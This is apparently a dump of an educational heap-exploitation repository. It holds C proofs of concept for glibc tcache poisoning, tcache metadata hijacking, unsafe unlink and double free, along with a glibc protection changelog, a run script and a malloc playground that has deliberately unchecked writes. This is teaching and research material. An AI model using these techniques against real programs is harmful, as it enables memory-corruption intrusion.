    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering so _IO_FILE does not interfere with our heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// introduction\n\tputs(\"This file demonstrates an interesting feature of glibc-2.42: the `tcache_perthread_struct`\");\n\tputs(\"may not be at the top of the heap, which makes it easy to turn a heap overflow into arbitrary allocation.\\n\");\n\n\n\tputs(\"In the past, before using the heap, libc will initialize tcache using `MAYBE_INIT_TCACHE`.\");\n\tputs(\"But this patch removes the call in the non-tcache path: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508\");\n\tputs(\"As a result, we can put many large chunks before tcache_perthread_struct\");\n\tputs(\"and use a heap overflow primitive (or chunk overlapping) to hijack `tcache_perthread_struct`\\n\");\n\n\tlong target[0x4] __attribute__ ((aligned (0x10)));\n\n\tlong *chunk = malloc(0x420);\n\tprintf(\"first, allocate a large chunk at the top of the heap: %p\\n\", chunk);\n\tvoid *p1 = malloc(0x10);\n\tfree(p1);\n\tprintf(\"now, allocate a chunk and free it to initialize tcache_perthread_struct and put it right before our chunk\\n\");\n\tprintf(\"the tcache_perthread_struct->tcache_entry[0] should be initialized with %p\\n\", p1);\n\n\tprintf(\"Now, we simulate an overflow vulnerability to overwrite the pointer\\n\");\n\t/*Vulnerability*/\n\tchunk[0x420/8+21] = (long)&target[0];\n\t/*Vulnerability*/\n\n\tvoid *p2 = malloc(0x10);\n\tprintf(\"Then the next allocation will be at our wanted address: %p\\n\", p2);\n\tassert(p2 == &target[0]);\n}\n"
  },
  {
    "path": "glibc_2.42/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 76\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target __attribute__ ((aligned (0x10))) = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  long rounded_metadata_size = metadata_size & ~(HEADER_SIZE-1); // round it down\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - rounded_metadata_size - HEADER_SIZE);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 6;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.42/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.42/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_ChangeLog.md",
    "content": "ChangeLog for relevant heap-protection changes\n--------------------------------------------\n\n## Version 2.25\n\nAll attacks in this repo work at least in this version.\n\n## Version 2.26\n\n- tcache (per-thread cache) is introduced (enabled in ubuntu-build since 2.27)\n    * See [tukan.farm](http://tukan.farm/2017/07/08/tcache/) for a short overview\n    \n\n- `unlink(AV, P, BK, FD)`:\n    * Add size consistency check:\n        ```\n            if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\n              malloc_printerr (\"corrupted size vs. prev_size\");\n        ```\n\n## Version 2.27\n\n- `malloc_consolidate(mstate av)`:\n    * Add size check when placing chunks into fastbins:\n        ```\n        unsigned int idx = fastbin_index (chunksize (p));\n        if ((&fastbin (av, idx)) != fb)\n          malloc_printerr (\"malloc_consolidate(): invalid chunk size\");\n        ```\n"
  },
  {
    "path": "glibc_run.sh",
    "content": "#!/bin/bash\n\nVERSION=\"./glibc_versions\"\n#DIR_TCACHE='tcache'\nDIR_TCACHE=''\nDIR_HOST='x64'\nLIB_HOST='amd64'\nGLIBC_VERSION=''\nTARGET=''\nUPDATE=''\nRELOAD=''\nDOCKER=''\nGDB=''\nRADARE2=''\nNOT_EXECUTION=''\nFORCE_TARGET_INTERPRETER=''\nHOW2HEAP_PATH=$( cd -- \"$( dirname -- \"${BASH_SOURCE[0]}\" )\" &> /dev/null && pwd )\n\n# Handle arguments\nfunction show_help {\n    echo \"Usage: $0 <version> <target> [-h] [-i686] [-u] [-r] [-d] [-gdb | -r2 | -p]\"\n    echo \"-i686 - use x32 bits libc\"\n    echo \"-u - update libc list in glibc-all-in-one\"\n    echo \"-r - download libc in glibc-all-in-one\"\n    echo \"-d - build the debugging environment in docker\"\n    echo \"-gdb - start target in GDB\"\n    echo \"-r2 - start target in radare2\"\n    echo \"-p - just set interpreter and rpath in target without execution\"\n}\n\nif [[ $# < 2 ]]; then\n    show_help\n    exit 1\nfi\n\nfunction init_glibc(){\n    git submodule update --init --recursive\n}\n\nfunction update_glibc (){\n    if [ \"$1\" == \"X\" ] || [ ! -f glibc-all-in-one/list ]; then\n        cd glibc-all-in-one\n        ./update_list\n        cd -\n    fi\n}\n\nfunction download_glibc (){\n    if [ \"$2\" == \"X\" ] || [ ! -d glibc-all-in-one/libs/$libc ]; then\n        cd glibc-all-in-one\n        rm -rf libs/$1 debs/$1\n        ./download $1\n        ./download_old $1\n        cd -\n    fi\n}\n\nfunction copy_glibc (){\n    if [ ! -f \"$OUTPUT_DIR/libc-$GLIBC_VERSION.so\" ]; then\n        cp -r glibc-all-in-one/libs/$1/* $OUTPUT_DIR\n        cp -r glibc-all-in-one/libs/$1/.debug $OUTPUT_DIR\n    fi\n}\n\nfunction set_interpreter (){\n    local curr_interp=$(patchelf --print-interpreter \"$TARGET\")\n    \n    if [[ $curr_interp != $1 ]];\n    then\n        patchelf --set-interpreter \"$1\" \"$TARGET\"\n        echo \"INTERPERETER as $1 for $TARGET\"\n    fi\n}\n\nfunction set_rpath (){\n    curr_rpath=$(patchelf --print-rpath \"$TARGET\")\n    \n    if [[ $curr_rpath != $OUTPUT_DIR ]];\n    then\n        patchelf --set-rpath \"$OUTPUT_DIR\" \"$TARGET\"\n        echo \"RPATH as $OUTPUT_DIR\"\n    fi\n}\n\nfunction prep_in_docker () {\n\t# choose the correct base ubuntu container\n\tif (( $(echo \"$1 > 2.33\" |bc -l) ));\n\tthen\n\t\tUBUNTU_VERSION=\"22.04\"\n\telse\n\t\tUBUNTU_VERSION=\"20.04\"\n\tfi\n\n\t# make sure we have access to docker\n\tdocker --version >/dev/null 2>&1\n\tif test $? -ne 0;\n\tthen\n\t\techo \"please make sure docker is installed and you have access to it first\"\n\t\texit -1\n\tfi\n\n\t# build the docker image\n\tsed -i \"1s/.*/from ubuntu:$UBUNTU_VERSION/\" Dockerfile\n\techo \"building the how2heap_docker image!\"\n\tdocker build -t how2heap_docker .\n\n\tdocker run --rm -it -u $(id -u ${USER}):$(id -g ${USER}) -v $HOW2HEAP_PATH:/root/how2heap how2heap_docker make clean all >/dev/null\n}\n\nGLIBC_VERSION=$1\nGLIBC_MAJOR=$(echo $GLIBC_VERSION | cut -d'.' -f1)\nGLIBC_MINOR=$(echo $GLIBC_VERSION | cut -d'.' -f2)\nTARGET=$2\nSYSTEM_GLIBC_VERSION=$(lsof -p $$ 2>/dev/null | grep libc- | awk ' { print $NF\" --version\"; } ' | sh | head -n 1 | cut -d' ' -f 10 | cut -d'.' -f 1-2)\nSYSTEM_GLIBC_MAJOR=$(echo $SYSTEM_GLIBC_VERSION | cut -d'.' -f1)\nSYSTEM_GLIBC_MINOR=$(echo $SYSTEM_GLIBC_VERSION | cut -d'.' -f2)\nSYSTEM_GLIBC=$(lsof -p $$ 2>/dev/null | grep libc- | awk ' { print $NF\" --version\"; } ' | sh | head -n 1 | cut -d' ' -f 10)\n\nif [ ! -f $TARGET ]; then\n    echo \"Create binaries by make\"\n    exit\nfi\n\nwhile :; do\n    case $3 in\n        -h|-\\?|--help)\n            show_help\n            exit\n        ;;\n        #        -disable-tcache)\n        #            DIR_TCACHE='notcache'\n        #            ;;\n        -i686)\n            DIR_HOST='i686'\n            LIB_HOST='i386'\n        ;;\n        -u)\n            UPDATE='X'\n        ;;\n        -r)\n            RELOAD='X'\n        ;;\n        -d)\n            DOCKER='X'\n        ;;\n        -gdb)\n            GDB='X'\n        ;;\n        -r2)\n            RADARE2='X'\n        ;;\n        -p)\n            NOT_EXECUTION='X'\n        ;;\n        -ti)\n            FORCE_TARGET_INTERPRETER='X'\n        ;;\n        '')\n            break\n        ;;\n    esac\n    shift\ndone\n\n\nif [ ! -d ./glibc-all-in-one/LICENSE ]; then\n    init_glibc\nfi\n\nif [ -z $DIR_TCACHE ]; then\n    OUTPUT_DIR=\"$VERSION/$GLIBC_VERSION/${DIR_HOST}/lib\"\nelse\n    OUTPUT_DIR=\"$VERSION/$GLIBC_VERSION/${DIR_HOST}_${DIR_TCACHE}/lib\"\nfi\n\nif [ ! -d \"$OUTPUT_DIR\" ];\nthen\n    mkdir -p $OUTPUT_DIR\nfi\n\nupdate_glibc $UPDATE\nlibc=$(cat glibc-all-in-one/list | grep \"$GLIBC_VERSION\" | grep \"$LIB_HOST\" | head -n 1) \n\nif [ -z \"$libc\" ]\nthen\n    libc=$(cat glibc-all-in-one/old_list | grep \"$GLIBC_VERSION\" | grep \"$LIB_HOST\" | head -n 1)\nfi\n\ndownload_glibc $libc $RELOAD\ncopy_glibc $libc\nif [ -z \"$(ls -A $OUTPUT_DIR)\" ]; then\n    echo \"Couldn't download and extract glibc.\"\n    echo \"Check you have installed zstd\"\n    exit\nfi\ntarget_interpreter=\"$OUTPUT_DIR/$(ls $OUTPUT_DIR | grep ld)\"\n\nif [ \"$DOCKER\" == 'X' ];\nthen\n\tprep_in_docker $GLIBC_VERSION\nfi\n\nif [[ $GLIBC_MAJOR != $SYSTEM_GLIBC_MAJOR ]] || [[ $GLIBC_MINOR != $SYSTEM_GLIBC_MINOR ]]; then\n    set_interpreter $target_interpreter\n    set_rpath\nfi\n\nif [ \"$GDB\" == 'X' ];\nthen\n    if [[ $GLIBC_VERSION != $SYSTEM_GLIBC_VERSION ]]; then\n        gdb $TARGET -iex \"set debug-file-directory $OUTPUT_DIR/.debug\"\n    else\n        gdb $TARGET\n    fi\nelif [ \"$RADARE2\" == 'X' ];\nthen\n    r2 -d $TARGET\nelif [ \"$NOT_EXECUTION\" == ''  ];\nthen\n    \"$TARGET\"\nelse\n    echo \"$TARGET It's ready for discovering\"\nfi\n"
  },
  {
    "path": "malloc_playground.c",
    "content": "#include <inttypes.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#ifdef __GLIBC__\n# include <malloc.h>\n# include <mcheck.h>\nvoid print_mcheck_status(enum mcheck_status s)\n{\n\tfprintf(stderr, \"%s\\n\", (s == MCHECK_DISABLED) ? \"N/A, you didn't enable mcheck()\" :\n\t\t\t\t   (s == MCHECK_OK) ? \"No inconsistency detected\" :\n\t\t\t\t   (s == MCHECK_HEAD) ? \"Memory preceding an allocated block was clobbered\" :\n\t\t\t\t   (s == MCHECK_TAIL) ? \"Memory following an allocated block was clobbered\" :\n\t\t\t\t   (s == MCHECK_FREE) ? \"A block of memory was freed twice\" :\n\t\t\t\t   \"unknown memory check code!\");\n}\nvoid report_mcheck_fail(enum mcheck_status s)\n{\n\tfprintf(stderr, \"*** PROGRAM WOULD ABORT: \"); print_mcheck_status(s);\n}\n#endif\n\n\n#define MAX_PTR_NUM 20;\n\nchar **ptrArray;\n\nint main(int argc, char ** argv) {\n\tint num;\n\tint ptrNumber = -1;\n\tint maxPtr = MAX_PTR_NUM;\n\tint sizeArg;\n\tchar sizeTable[maxPtr];\n\n\tchar buffer[1000];\n\tchar cmd[1000];\n\tchar arg1[100];\n\tchar arg2[100];\n\n\tmemset(sizeTable, 0, maxPtr);\n\tmemset(cmd, 0, 1000);\n\tmemset(arg1, 0, 100);\n\tmemset(arg2, 0, 100);\n\n\tfprintf(stderr, \"pid: %d\\n\", getpid());\n\tptrArray = malloc(sizeof(char*) * 20);\n\tfor (int i = 0; i < maxPtr; i++){\n\t\tptrArray[i] = 0;\n\t}\n\twhile (1) {\n\t\tfprintf(stderr, \"> \");\n\t\tfgets(buffer, sizeof(buffer), stdin);\n\t\tnum = sscanf(buffer, \"%s %s %s\\n\", cmd, arg1, arg2);\n\t\tif (strcmp(cmd, \"malloc\") == 0) {\n\t\t\tif (ptrNumber < maxPtr){\n\t\t\t\tsizeArg = atoi((const char *) &arg1);\n\t\t\t\tvoid *result = malloc(sizeArg);\n\t\t\t\tptrNumber++;\n\t\t\t\tsizeTable[ptrNumber] = sizeArg;\n\t\t\t\tptrArray[ptrNumber] = result;\n\t\t\t\tstrcpy(result, \"none\");\n\t\t\t\tfprintf(stderr, \"==> OK, %p\\n\", result);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tprintf(\"Max pointer reached, free or restart\");\n\t\t\t}\n\t\t} else if (strcmp(cmd, \"free\") == 0) {\n\t\t\tif (ptrNumber > -1){\n\t\t\t\tif (num == 1){\n\t\t\t\t\tfree((void*) ptrArray[ptrNumber]);\n\t\t\t\t\tptrArray[ptrNumber] = 0;\n\t\t\t\t\tsizeTable[ptrNumber] = 0;\n\t\t\t\t\tfprintf(stderr, \"==> ok\\n\");\n\t\t\t\t\tptrNumber -= 1;\n\t\t\t\t}\n\t\t\t\telse if (num == 2){\n\t\t\t\t\tint tmpArg = atoi((const char *) &arg1);\n\t\t\t\t\tptrArray[tmpArg] = 0;\n\t\t\t\t\tsizeTable[tmpArg] = 0;\n\t\t\t\t\tfree((void *) ptrArray[tmpArg]);\n\t\t\t\t\tptrNumber -= 1;\n\t\t\t\t\tfprintf(stderr, \"==> ok\\n\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tfprintf(stderr, \"==> list empty :/\\n\");\n\n\t\t\t}\n\t\t} else if (strcmp(cmd, \"write\") == 0) {\n\t\t\tif (num == 1){\n\t\t\t\tprintf(\"write: write value [pointer index]\\n\");\n\t\t\t}\n\t\t\telse if (num == 2){\n\t\t\t\tint len = strlen((const char *) &arg1);\n\t\t\t\tstrcpy(ptrArray[ptrNumber], (const char *) &arg1);\n\t\t\t\tfprintf(stderr, \"==> ok, wrote %s\\n\", ptrArray[ptrNumber]);\n\t\t\t}\n\t\t\telse if (num == 3){\n\t\t\t\tint len = strlen((const char *) &arg1);\n\t\t\t\tint tmpArg2 = atoi((const char *) &arg2);\n\t\t\t\t//if (tmpArg2 > ptrNumber){\n\t\t\t\t\tstrcpy(ptrArray[tmpArg2], (const char *) &arg1);\n\t\t\t\t\tfprintf(stderr, \"==> ok, wrote %s\\n\", ptrArray[tmpArg2]);\n\t\t\t\t//}\n\t\t\t\t//else{\n\t\t\t\t//\tprintf(\"Invalid Index\\n\");\n\t\t\t\t//}\n\t\t\t}\n\t\t} else if (strcmp(cmd, \"listp\") == 0) {\n\t\t\tprintf(\"\\n\");\n\t\t\tfor (int i = 0; i < 20; i++){\n\t\t\t\tif (ptrArray[i]){\n\t\t\t\t\tprintf(\"%d - %p - %s - %d\\n\", i, ptrArray[i], ptrArray[i], sizeTable[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tfprintf(stderr, \"==> ok\\n\");\n\t\t} else if (strcmp(cmd, \"listpall\") == 0) {\n\t\t\tint tmpIndex = 0;\n\t\t\tprintf(\"\\n\");\n\t\t\tfor (int i=0; i < maxPtr; i++){\n\t\t\t\tprintf(\"%d - %p - %s - %d\\n\", tmpIndex, ptrArray[tmpIndex], ptrArray[tmpIndex], sizeTable[i]);\n\t\t\t\ttmpIndex++;\n\t\t\t}\n\t\t\tfprintf(stderr, \"==> ok\\n\");\n\t\t} else if (strcmp(cmd, \"clearlist\") == 0) {\n\t\t\tptrNumber = -1;\n\t\t\tfor (int i = 0; i < maxPtr; i++){\n\t\t\t\tfree(ptrArray[i]);\n\t\t\t\tptrArray[i] = 0;\n\t\t\t\tmemset(sizeTable, 0, maxPtr);\n\t\t}\n\t\t\tfprintf(stderr, \"==> ok, array cleared\\n\");\n#ifdef __GLIBC__\n\t\t} else if (strcmp(cmd, \"usable\") == 0) {\n\t\t\tfprintf(stderr, \"usable size: %zu\\n\", malloc_usable_size((void*) arg1));\n\t\t} else if (strcmp(cmd, \"stats\") == 0) {\n\t\t\tmalloc_stats();\n\t\t} else if (strcmp(cmd, \"info\") == 0) {\n\t\t\tmalloc_info(0, stdout);\n\t\t\tprintf(\"Ptrptr %d\\n\", ptrNumber);\n\t\t} else if (strcmp(cmd, \"mcheck\") == 0) {\n\t\t\tfprintf(stderr, \"==> %s\\n\", mcheck(report_mcheck_fail) == 0 ? \"OK\" : \"ERROR\");\n\t\t} else if (strcmp(cmd, \"mcheck_pedantic\") == 0) {\n\t\t\tfprintf(stderr, \"==> %s\\n\", mcheck_pedantic(report_mcheck_fail) == 0 ? \"OK\" : \"ERROR\");\n\t\t} else if (strcmp(cmd, \"mprobe\") == 0) {\n\t\t\tif (num > 1) {\n\t\t\t\tprint_mcheck_status(mprobe((void*) arg1));\n\t\t\t} else {\n\t\t\t\tmcheck_check_all();\n\t\t\t\tfprintf(stderr, \"==> check_all ok\\n\");\n\t\t\t}\n#endif\n\t\t} else {\n\t\t\tputs(\"Commands: malloc n, free p, usable p, stats, info, mprobe [p], mcheck, mcheck_pedantic, \");\n\t\t\tputs(\"Commands: [BETA]  write str, listp, listpall, clearlist\\n\");\n\t\t}\n\t}\n}"
  },
  {
    "path": "obsolete/glibc_2.27/tcache_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tprintf(\"This file demonstrates a simple double-free attack with tcache.\\n\");\n\n\tprintf(\"Allocating buffer.\\n\");\n\tint *a = malloc(8);\n\n\tprintf(\"malloc(8): %p\\n\", a);\n\tprintf(\"Freeing twice...\\n\");\n\tfree(a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p ].\\n\", a, a);\n\tvoid *b = malloc(8);\n\tvoid *c = malloc(8);\n\tprintf(\"Next allocated buffers will be same: [ %p, %p ].\\n\", b, c);\n\n\tassert((long)b == (long)c);\n\treturn 0;\n}\n"
  }
]